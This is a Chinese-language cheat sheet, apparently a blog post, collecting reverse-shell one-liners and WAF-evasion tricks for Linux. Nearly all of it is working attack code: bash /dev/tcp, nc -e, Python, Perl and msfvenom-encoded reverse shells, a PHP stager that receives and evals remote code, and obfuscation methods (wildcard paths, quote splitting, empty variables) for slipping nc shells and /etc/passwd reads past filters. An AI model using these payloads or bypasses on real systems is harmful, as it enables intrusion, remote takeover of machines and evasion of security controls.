反弹Shell及常见绕过
直接bash反弹
bash -i >& /dev/tcp/192.168.31.41/8080 0>&1
nc反弹
Netcat一句话反弹,
nc -e /bin/bash 192.168.26.138 12138
这里的ip也可以转换为整型的形式
但是经过我的测试发现转换为IP之后可能会连接不了
使用Python
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.26",12138));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'
msfvenom生成Python反弹shell
root@kali:~# msfvenom -p cmd/unix/reverse_python lhost=192.168.36.138 lport=12138 R
[-] No platform was selected, choosing Msf::Module::Platform::Unix from the payload
[-] No arch selected, selecting arch: cmd from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 545 bytes
python -c "exec('aW1wb3J0IHNvY2tldCAgICAgICAsICAgIHN1YnByb2Nlc3MgICAgICAgLCAgICBvczsgICAgICAgICBob3N0PSIxOTIuMTY4LjM2LjEzOCI7ICAgICAgICAgcG9ydD0xMjEzODsgICAgICAgICBzPXNvY2tldC5zb2NrZXQoc29ja2V0LkFGX0lORVQgICAgICAgLCAgICBzb2NrZXQuU09DS19TVFJFQU0pOyAgICAgICAgIHMuY29ubmVjdCgoaG9zdCAgICAgICAsICAgIHBvcnQpKTsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgICAwKTsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgICAxKTsgICAgICAgICBvcy5kdXAyKHMuZmlsZW5vKCkgICAgICAgLCAgICAyKTsgICAgICAgICBwPXN1YnByb2Nlc3MuY2FsbCgiL2Jpbi9iYXNoIik='.decode('base64'))"
使用Perl
[root@localhost wwwroot]# perl -e 'use Socket;$i="192.168.26.155";$p=12138;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
大部分的Linux机器中自带了Perl,所以这条命令执行成功的机率比较大,另外还有一些基于JAVA和PHP的一句话反弹shell,相对来说没有Python和Perl在Linux中占比大,经测试部分payload也执行不成功,所以不再列出来了。
使用Python获取标准shell
一般来说使用nc反弹回来的shell比较简单,没有用户名和当前目录名称,也无法执行一些类似su的命令,所以就需要使用Python的pty模块生成一个标准的shell.
python -c "import pty;pty.spawn('/bin/bash')"
Linux中的通配符
* 代表『 0 个到无穷多个』任意字符
? 代表『一定有一个』任意字符
[ ] 同样代表『一定有一个在括号内』的字符(非任意字符)。例如 [abcd] 代表『一定有一个字符, 可能是 a, b, c, d 这四个任何一个』
[ - ] 若有减号在中括号内时,代表『在编码顺序内的所有字符』。例如 [0-9] 代表 0 到 9 之间的所有数字,因为数字的语系编码是连续的
[^ ] 若中括号内的第一个字符为指数符号 (^) ,那表示『反向选择』,例如 [^abc] 代表 一定有一个字符,只要是非 a, b, c 的其他字符就接受的意思。
root@kali:~# /?in/?s -l
-rwxr-xr-x 1 root root 129336 2月 10 2018 /bin/ps
-rwxr-xr-x 1 root root 165680 11月 28 2019 /bin/ss
root@kali:/# /???/ca? 12138.php
/*<?php /**/ error_reporting(0); $ip = '192.168.26.138'; $port = 12138; if (($f = 'stream_socket_client') && is_callable($f)) { $s = $f("tcp://{$ip}:{$port}"); $s_type = 'stream'; } if (!$s && ($f = 'fsockopen') && is_callable($f)) { $s = $f($ip, $port); $s_type = 'stream'; } if (!$s && ($f = 'socket_create') && is_callable($f)) { $s = $f(AF_INET, SOCK_STREAM, SOL_TCP); $res = @socket_connect($s, $ip, $port); if (!$res) { die(); } $s_type = 'socket'; } if (!$s_type) { die('no socket funcs'); } if (!$s) { die('no socket'); } switch ($s_type) { case 'stream': $len = fread($s, 4); break; case 'socket': $len = socket_read($s, 4); break; } if (!$len) { die(); } $a = unpack("Nlen", $len); $len = $a['len']; $b = ''; while (strlen($b) < $len) { switch ($s_type) { case 'stream': $b .= fread($s, $len-strlen($b)); break; case 'socket': $b .= socket_read($s, $len-strlen($b)); break; } } $GLOBALS['msgsock'] = $s; $GLOBALS['msgsock_type'] = $s_type; if (extension_loaded('suhosin') && ini_get('suhosin.executor.disable_eval')) { $suhosin_bypass=create_function('', $b); $suhosin_bypass(); } else { eval($b); } die();
使用连接符绕过
Linux中的连接符为引号,需要注意的是连接符必须闭合,也就是必须成对出现
使用变量符号绕过
root@kali:/# echo "hello"
hello
root@kali:/# echo "hel"l"o"
hello
root@kali:/#
root@kali:/# echo 'hel'l'o'
hello
root@kali:/# echo 'hel'l"o"
hello
这个实测在WAF中比较容易识别,可能是因为引号规则比较好匹配
使用未初始化的bash变量
root@kali:/# a=who
root@kali:/# b=am
root@kali:/# c=i
root@kali:/# $a$b$c
root
root@kali:/#
root@kali:/# whoami$v
root
root@kali:/#
root@kali:/# ifconfig$f
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 192.168.26.155 netmask 255.255.255.0 broadcast 192.168.26.255
inet6 fe80::20c:29ff:fea7:cec prefixlen 64 scopeid 0x20<link>
ether 00:0c:29:a7:0c:ec txqueuelen 1000 (Ethernet)
RX packets 4925 bytes 413251 (403.5 KiB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 2462 bytes 396833 (387.5 KiB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 4 bytes 156 (156.0 B)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 4 bytes 156 (156.0 B)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
root@kali:/#
获取shell
/bin$s/nc$s -e /bin$s/bash$s ip port
这里的IP有的文章上说可以换成INT值形式,但是我这边测试是会报错
读取/etc/passwd
cat$a /etc$a/passwd$a

浙公网安备 33010602011771号